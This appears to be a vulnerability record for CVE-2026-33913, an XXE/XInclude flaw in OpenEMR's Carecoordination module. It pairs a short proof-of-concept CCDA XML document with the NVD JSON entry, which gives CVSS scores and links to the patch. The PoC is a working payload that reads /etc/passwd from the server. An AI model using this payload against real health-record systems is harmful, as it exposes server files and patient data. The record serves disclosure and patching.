CVE-2026-33913

<!-- Malicious CCDA document for PoC --> <?xml version="1.0" encoding="UTF-8"?> <ClinicalDocument xmlns="urn:hl7-org:v3" xmlns:xi="http://www.w3.org/2001/XInclude"> <!-- XXE Payload to read /etc/passwd --> <xi:include href="file:///etc/passwd" parse="text"/> </ClinicalDocument>

{"cve": {"id": "CVE-2026-33913", "sourceIdentifier": "[email protected]", "published": "2026-03-25T23:17:10.660", "lastModified": "2026-03-26T16:25:24.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0.3, an authenticated user with access to the Carecoordination module can upload a crafted CCDA document containing `<xi:include href=\"file:///etc/passwd\" parse=\"text\"/>` to read arbitrary files from the server. Version 8.0.0.3 patches the issue."}, {"lang": "es", "value": "OpenEMR es una aplicación gratuita y de código abierto para la gestión de historias clínicas electrónicas y consultas médicas. Antes de la versión 8.0.0.3, un usuario autenticado con acceso al módulo Carecoordination podía cargar un documento CCDA manipulado que contuviera `` para leer archivos arbitrarios del servidor. La versión 8.0.0.3 corrige este problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.3", "matchCriteriaId": "E3E098AF-42A1-4798-85A7-80052F19F809"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/67e1702c41cf486af0069bdafce19860e2cd9a11", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-9757-3cfj-wc8q", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}